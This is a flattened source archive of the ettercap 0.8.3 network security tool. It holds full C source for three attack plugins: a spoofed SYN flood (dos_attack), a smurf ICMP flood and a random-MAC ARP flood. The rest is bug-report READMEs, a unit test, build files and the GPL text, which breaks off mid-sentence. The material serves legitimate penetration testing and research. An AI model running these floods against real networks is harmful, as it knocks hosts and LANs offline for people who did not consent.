if ( (!ip_addr_cmp(&po->L3.src, &p->ip[0]) && !ip_addr_cmp(&po->L3.dst, &p->ip[1])) || (!ip_addr_cmp(&po->L3.src, &p->ip[1]) && !ip_addr_cmp(&po->L3.dst, &p->ip[0])) ) return 1; } SAFE_CALLOC(p, 1, sizeof(struct call_list)); memcpy (&(p->ip[0]), &po->L3.src, sizeof(struct ip_addr)); memcpy (&(p->ip[1]), &po->L3.dst, sizeof(struct ip_addr)); SLIST_INSERT_HEAD(&call_table, p, next); return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/dos_attack/0000755000175000017500000000000013505247364017046 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/dos_attack/dos_attack.c0000644000175000017500000001641313505247364021333 0ustar koeppeakoeppea/* dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* protos */ int plugin_load(void *); static int dos_attack_init(void *); static int dos_attack_fini(void *); static void parse_arp(struct packet_object *po); #ifdef WITH_IPV6 static void parse_icmp6(struct packet_object *po); #endif static void parse_tcp(struct packet_object *po); EC_THREAD_FUNC(syn_flooder); struct port_list { u_int16 port; SLIST_ENTRY(port_list) next; }; /* globals */ static struct ip_addr fake_host; static struct ip_addr victim_host; SLIST_HEAD(, port_list) port_table; /* plugin operations */ struct plugin_ops dos_attack_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "dos_attack", /* a short description of the plugin (max 50 chars) */ .info = "Run a d.o.s. attack against an IP address", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &dos_attack_init, /* deactivation function */ .fini = &dos_attack_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &dos_attack_ops); } /******************* STANDARD FUNCTIONS *******************/ static int dos_attack_init(void *dummy) { char dos_addr[MAX_ASCII_ADDR_LEN]; char unused_addr[MAX_ASCII_ADDR_LEN]; struct port_list *p; /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; memset(dos_addr, 0, sizeof(dos_addr)); memset(unused_addr, 0, sizeof(dos_addr)); ui_input("Insert victim IP: ", dos_addr, sizeof(dos_addr), NULL); if (ip_addr_pton(dos_addr, &victim_host) == -E_INVALID) { INSTANT_USER_MSG("dos_attack: Invalid IP address.\n"); return PLUGIN_FINISHED; } ui_input("Insert unused IP: ", unused_addr, sizeof(unused_addr), NULL); if (ip_addr_pton(unused_addr, &fake_host) == -E_INVALID) { INSTANT_USER_MSG("dos_attack: Invalid IP address.\n"); return PLUGIN_FINISHED; } if(victim_host.addr_type != fake_host.addr_type) { INSTANT_USER_MSG("dos_attack: Address' families don't match.\n"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("dos_attack: Starting scan against %s [Fake Host: %s]\n", dos_addr, unused_addr); /* Delete the "open" port list just in case of previous executions */ while (!SLIST_EMPTY(&port_table)) { p = SLIST_FIRST(&port_table); SLIST_REMOVE_HEAD(&port_table, next); SAFE_FREE(p); } /* Add the hook to "create" the fake host */ if(ntohs(fake_host.addr_type) == AF_INET) hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); #ifdef WITH_IPV6 else if(ntohs(fake_host.addr_type) == AF_INET6) hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6); #endif /* Add the hook for SYN-ACK reply */ hook_add(HOOK_PACKET_TCP, &parse_tcp); /* create the flooding thread */ ec_thread_new("golem", "SYN flooder thread", &syn_flooder, NULL); return PLUGIN_RUNNING; } static int dos_attack_fini(void *dummy) { pthread_t pid; /* variable not used */ (void) dummy; /* Remove the hooks */ hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); hook_del(HOOK_PACKET_TCP, &parse_tcp); pid = ec_thread_getpid("golem"); /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("dos_attack: plugin terminated...\n"); return PLUGIN_FINISHED; } /*********************************************************/ /* * This thread first sends SYN packets to some ports (a little port scan) * then starts to flood active ports with other SYN packets. */ EC_THREAD_FUNC(syn_flooder) { u_int16 sport = 0xe77e, dport; u_int32 seq = 0xabadc0de; struct port_list *p; /* variable not used */ (void) EC_THREAD_PARAM; /* init the thread and wait for start up */ ec_thread_init(); /* First "scan" ports from 1 to 1024 */ for (dport=1; dport<1024; dport++) { send_tcp(&fake_host, &victim_host, sport++, htons(dport), seq++, 0, TH_SYN, NULL, 0); ec_usleep(1000); } INSTANT_USER_MSG("dos_attack: Starting attack...\n"); /* Continue flooding open ports */ LOOP { CANCELLATION_POINT(); SLIST_FOREACH(p, &port_table, next) send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0); ec_usleep(1000); } return NULL; } /* Parse the arp packets and reply for the fake host */ static void parse_arp(struct packet_object *po) { if (!ip_addr_cmp(&fake_host, &po->L3.dst)) send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src); } #ifdef WITH_IPV6 static void parse_icmp6(struct packet_object *po) { struct ip_addr ip; ip_addr_init(&ip, AF_INET6, po->L4.options); if(!ip_addr_cmp(&fake_host, &ip)) send_L2_icmp6_nadv(&fake_host, &po->L3.src, EC_GBL_IFACE->mac, 0, po->L2.src); } #endif /* * Populate the open port list and reply to * SYN-ACK packets from victim host */ static void parse_tcp(struct packet_object *po) { struct port_list *p; /* Check if it's a reply to our SYN flooding */ if (ip_addr_cmp(&fake_host, &po->L3.dst) || ip_addr_cmp(&victim_host, &po->L3.src) || po->L4.flags != (TH_SYN | TH_ACK)) return; /* Complete the handshake with an ACK */ send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl( ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0); /* Check if the port is already in the "open" list... */ SLIST_FOREACH(p, &port_table, next) if (p->port == po->L4.src) return; /* If not...put it in */ SAFE_CALLOC(p, 1, sizeof(struct port_list)); p->port = po->L4.src; SLIST_INSERT_HEAD(&port_table, p, next); INSTANT_USER_MSG("dos_attack: Port %d added\n", ntohs(p->port)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/smurf_attack/0000755000175000017500000000000013505247364017415 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/smurf_attack/smurf_attack.c0000644000175000017500000000721613505247364022252 0ustar koeppeakoeppea/* * the smurf attack plugin for ettercap * * XXX - attack against IPv4 hosts is broken by some kernel bug * on some systems as the kernel amends the source ip address */ #include #include #include #include #include #include /* protos */ int plugin_load(void *); static int smurf_attack_init(void *); static int smurf_attack_fini(void *); static EC_THREAD_FUNC(smurfer); /* globals */ struct plugin_ops smurf_attack_ops = { .ettercap_version = EC_VERSION, .name = "smurf_attack", .info = "Run a smurf attack against specified hosts", .version = "1.0", .init = &smurf_attack_init, .fini = &smurf_attack_fini, }; /* teh c0d3 */ int plugin_load(void *handle) { return plugin_register(handle, &smurf_attack_ops); } static int smurf_attack_init(void *dummy) { struct ip_list *i; /* variable not used */ (void) dummy; DEBUG_MSG("smurf_attack_init"); if(EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("smurf_attack: plugin doesnt work in unoffensive mode\n"); return PLUGIN_FINISHED; } if(EC_GBL_TARGET1->all_ip && EC_GBL_TARGET1->all_ip6) { USER_MSG("Add at least one host to target one list.\n"); return PLUGIN_FINISHED; } if(EC_GBL_TARGET2->all_ip && EC_GBL_TARGET2->all_ip6 && LIST_EMPTY(&EC_GBL_HOSTLIST)) { USER_MSG("Target two and global hostlist are empty.\n"); return PLUGIN_FINISHED; } EC_GBL_OPTIONS->quiet = 1; INSTANT_USER_MSG("smurf_attack: starting smurf attack against the target one hosts\n"); /* creating a thread per target */ LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) { ec_thread_new("smurfer", "thread performing a smurf attack", &smurfer, &i->ip); } /* same for IPv6 targets */ LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) { ec_thread_new("smurfer", "thread performing a smurf attack", &smurfer, &i->ip); } return PLUGIN_RUNNING; } static int smurf_attack_fini(void *dummy) { pthread_t pid; /* variable not used */ (void) dummy; DEBUG_MSG("smurf_attack_fini"); while(!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("smurfer"))) { ec_thread_destroy(pid); } return PLUGIN_FINISHED; } static EC_THREAD_FUNC(smurfer) { struct ip_addr *ip; struct ip_list *i, *itmp; struct hosts_list *h, *htmp; LIST_HEAD(ip_list_t, ip_list) *ips = NULL; u_int16 proto; int (*icmp_send)(struct ip_addr*, struct ip_addr*); DEBUG_MSG("smurfer"); ec_thread_init(); ip = EC_THREAD_PARAM; proto = ntohs(ip->addr_type); /* some pointer magic here. nothing difficult */ switch(proto) { case AF_INET: icmp_send = send_L3_icmp_echo; ips = (struct ip_list_t *)&EC_GBL_TARGET2->ips; break; #ifdef WITH_IPV6 case AF_INET6: icmp_send = send_L3_icmp6_echo; ips = (struct ip_list_t *)&EC_GBL_TARGET2->ip6; break; #endif default: /* This won't ever be reached * if no other network layer protocol * is added. */ ec_thread_destroy(EC_PTHREAD_SELF); break; } LOOP { CANCELLATION_POINT(); /* if target two list is not empty using it */ if(!LIST_EMPTY(ips)) LIST_FOREACH_SAFE(i, ips, next, itmp) icmp_send(ip, &i->ip); /* else using global hostlist */ else LIST_FOREACH_SAFE(h, &EC_GBL_HOSTLIST, next, htmp) if(ntohs(h->ip.addr_type) == proto) icmp_send(ip, &h->ip); ec_usleep(1000*1000/EC_GBL_CONF->sampling_rate); } return NULL; } ettercap-0.8.3/plug-ins/rand_flood/0000755000175000017500000000000013505247364017041 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/rand_flood/rand_flood.c0000644000175000017500000001254013505247364021316 0ustar koeppeakoeppea/* rand_flood -- ettercap plugin -- Flood the LAN with random MAC addresses Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* globals */ struct eth_header { u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ u_int16 proto; /* packet type ID field */ }; struct arp_header { u_int16 ar_hrd; /* Format of hardware address. */ u_int16 ar_pro; /* Format of protocol address. */ u_int8 ar_hln; /* Length of hardware address. */ u_int8 ar_pln; /* Length of protocol address. */ u_int16 ar_op; /* ARP opcode (command). */ #define ARPOP_REQUEST 1 /* ARP request. */ }; struct arp_eth_header { u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ }; #define FAKE_PCK_LEN sizeof(struct eth_header)+sizeof(struct arp_header)+sizeof(struct arp_eth_header) struct packet_object fake_po; char fake_pck[FAKE_PCK_LEN]; /* protos */ int plugin_load(void *); static int rand_flood_init(void *); static int rand_flood_fini(void *); EC_THREAD_FUNC(flooder); /* plugin operations */ struct plugin_ops rand_flood_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "rand_flood", /* a short description of the plugin (max 50 chars) */ .info = "Flood the LAN with random MAC addresses", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &rand_flood_init, /* deactivation function */ .fini = &rand_flood_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &rand_flood_ops); } /******************* STANDARD FUNCTIONS *******************/ static int rand_flood_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("rand_flood: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("rand_flood: Start flooding the LAN...\n"); /* create the flooding thread */ ec_thread_new("flooder", "Random flooder thread", &flooder, NULL); return PLUGIN_RUNNING; } static int rand_flood_fini(void *dummy) { pthread_t pid; /* variable not used */ (void) dummy; pid = ec_thread_getpid("flooder"); /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("rand_flood: plugin stopped...\n"); return PLUGIN_FINISHED; } EC_THREAD_FUNC(flooder) { struct timeval seed; struct eth_header *heth; struct arp_header *harp; u_int32 rnd; u_char MACS[ETH_ADDR_LEN], MACD[ETH_ADDR_LEN]; /* variable not used */ (void) EC_THREAD_PARAM; /* Get a "random" seed */ gettimeofday(&seed, NULL); srandom(seed.tv_sec ^ seed.tv_usec); /* Create a fake ARP packet */ heth = (struct eth_header *)fake_pck; harp = (struct arp_header *)(heth + 1); heth->proto = htons(LL_TYPE_ARP); harp->ar_hrd = htons(ARPHRD_ETHER); harp->ar_pro = htons(ETHERTYPE_IP); harp->ar_hln = 6; harp->ar_pln = 4; harp->ar_op = htons(ARPOP_REQUEST); packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN); /* init the thread and wait for start up */ ec_thread_init(); LOOP { CANCELLATION_POINT(); rnd = random(); memcpy(MACS, &rnd, 4); rnd = random(); memcpy(MACS + 4, &rnd, 2); rnd = random(); memcpy(MACD, &rnd, 4); rnd = random(); memcpy(MACD + 4, &rnd, 2); /* Fill the source and destination MAC address * with random values */ memcpy(heth->dha, MACD, ETH_ADDR_LEN); memcpy(heth->sha, MACS, ETH_ADDR_LEN); /* Send on the wire and wait */ send_to_L2(&fake_po); ec_usleep(EC_GBL_CONF->port_steal_send_delay); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/README.BUGS0000644000175000017500000000757613505247364014632 0ustar koeppeakoeppea============================================================================== ============================================================================== @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@ @@@ @@@@@@ @@@@@@ @@ @@@@@@@ @@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@ @@@ @@@ @@@@@@@ @@ @@@ @@@@@@@ @@ @@ @@ NG Copyright 2001-2013 The Ettercap Dev Team ============================================================================== ============================================================================== "Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it." - Brian W. Kernighan If you found a new bug please report it to https://github.com/Ettercap/ettercap/issues or by sending an email to ============================================================================== C O M P I L E T I M E B U G S ============================================================================== If you are not able to compile ettercap on your system, please make a bug report. In order to help you fix the problem we need the following information: 1) a description of your operating system (including any patch level) # uname -a > os.log 2) the cmake cache file # cat CMakeCache.txt 3) the entire output from 'make' # make 1> make_output 2> make_error 4) make a tarball with all the needed infos # tar pczf compile_error.tar.gz os.log \ CMakeCache.txt \ make_output \ make_error ============================================================================== R U N T I M E B U G S ============================================================================== If the bug is critical and results in a segmentation fault follow these steps to make a detailed bug report in order to help us to find the bug and fix it. 1) recompile the program in debug mode: (follow the instructions on README.GIT file in order to pull the repository and build the program in debug mode) 2) force ettercap to not drop privileges to make sure the core is dumped: # export EC_UID=0 # export EC_GID=0 3) override any limit for coredumps: # ulimit -c unlimited 4) enable memory checks (if your system supports them), so the program will abort if some heap corruption is in place: # export MALLOC_CHECK_=2 5) dump to a file the traffic that causes the crash (we need it to reproduce the situation) # ./src/ettercap -w offending_packets.pcap ... --your-options-here ... 6) analyze the core with gdb and send us the backtrace: # gdb ettercap core (gdb) bt (gdb) quit copy and paste the output of the gdb command 'bt' in a file (backtrace.log) 6a) if you don't get a core (for any reason), you can run ettercap within gdb: # gdb ettercap (gdb) r your_parameters_here when it catches the segfault, you can get the backtrace with the 'bt' command 7) collect useful information about your network: # ifconfig -a > network.txt # arp -an >> network.txt # netstat -rn >> network.txt 8) tar all the information together with the log generated by ettercap: # tar zcvf bugreport.tar.gz ettercap-*-debug.log \ offending_packets.pcap \ network.txt \ backtrace.log 9) mail the tarball to us with a brief description of the bug. ============================================================================= vim:ts=3:expandtab ettercap-0.8.3/README.BINARIES0000644000175000017500000000363413505247364015255 0ustar koeppeakoeppea============================================================================= ============================================================================= @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@ @@@ @@@@@@ @@@@@@ @@ @@@@@@@ @@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@ @@@ @@@ @@@@@@@ @@ @@@ @@@@@@@ @@ @@ @@ NG Copyright 2001-2015 The Ettercap Dev Team ============================================================================= ============================================================================= !!! I M P O R T A N T N O T I C E !!! Ettercap is distributed officially ONLY in source code. Binary packages in ANY form are NOT officially supported. Although it is not prohibited to distribute binary packages, the authors will not respond on bugs found in them. If you use one of these packages downloaded from Internet, redirect your bug report to /dev/null. The authors will reply to bug reports and will be happy to find a solution only for hand compiled executables. Every Linux distribution, but even *BSD or Windows is different from another. What is compiled on my machine may not work on yours because of a different version of a system library. To avoid this type of missing dependencies, we will not distribute any binary for any operating system. Most of the popular distributions (Debian, RedHat, FreeBSD, OpenBSD, ecc) provide the binary packages for ettercap. Use these packages, since they are build to work on your distribution and should have the dependencies resolved correctly. Refer to the binary packager of your distribution for problems regarding these packages. ============================================================================= vim:ts=3:expandtab ettercap-0.8.3/tests/0000755000175000017500000000000013505247365014337 5ustar koeppeakoeppeaettercap-0.8.3/tests/test_ec_decode.c0000644000175000017500000000261013505247365017433 0ustar koeppeakoeppea#include #include #include #include #include #include struct ec_globals *ec_gbls; // Yes, this is hack-ish. We can change it later. START_TEST (test_get_decoder_default) { fail_if(get_decoder(APP_LAYER, PL_DEFAULT) == NULL, "Could not find default decoder."); } END_TEST START_TEST (test_get_decoder_ip) { fail_if(get_decoder(NET_LAYER, LL_TYPE_IP) == NULL, "Could not find IP decoder."); } END_TEST START_TEST (test_get_decoder_tcp) { fail_if(get_decoder(PROTO_LAYER, NL_TYPE_TCP) == NULL, "Could not find TCP decoder."); } END_TEST START_TEST (test_get_decoder_udp) { fail_if(get_decoder(PROTO_LAYER, NL_TYPE_UDP) == NULL, "Could not find UDP decoder."); } END_TEST Suite* ts_test_decode (void) { Suite *suite = suite_create("ts_test_decode"); TCase *tcase = tcase_create("get_decoder"); tcase_add_test(tcase, test_get_decoder_default); tcase_add_test(tcase, test_get_decoder_ip); tcase_add_test(tcase, test_get_decoder_tcp); tcase_add_test(tcase, test_get_decoder_udp); suite_add_tcase(suite, tcase); return suite; } int main () { int number_failed; libettercap_init("test", "0.0.1"); Suite *suite = ts_test_decode(); SRunner *runner = srunner_create(suite); srunner_run_all(runner, CK_VERBOSE); number_failed = srunner_ntests_failed(runner); srunner_free(runner); return number_failed; } ettercap-0.8.3/tests/CMakeLists.txt0000644000175000017500000000066713505247365017110 0ustar koeppeakoeppea include_directories(. ../include ${LIBCHECK_INCLUDE_DIRS}) add_custom_target(test_verbose COMMAND ${CMAKE_CTEST_COMMAND} -V) # Adds a test by name macro(_t NAME) add_executable(test_${NAME} test_${NAME}.c) target_link_libraries(test_${NAME} lib_ettercap ec_interfaces ${LIBCHECK_LIBRARIES} ${CMAKE_THREAD_LIBS_INIT} ${LIBCHECK_LDFLAGS}) add_test(test_${NAME} ${CMAKE_CURRENT_BINARY_DIR}/test_${NAME}) endmacro() _t(ec_decode) ettercap-0.8.3/LICENSE.OPENSSL0000644000175000017500000000037113505247364015324 0ustar koeppeakoeppea This program is released under the GPL with the additional exemption that compiling, linking, and/or using OpenSSL is allowed. if you are asking yourself the meaning of this phrase, look there: http://www.openssl.org/support/faq.html#LEGAL2 ettercap-0.8.3/LICENSE0000644000175000017500000004325413505247364014211 0ustar koeppeakoeppea GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES 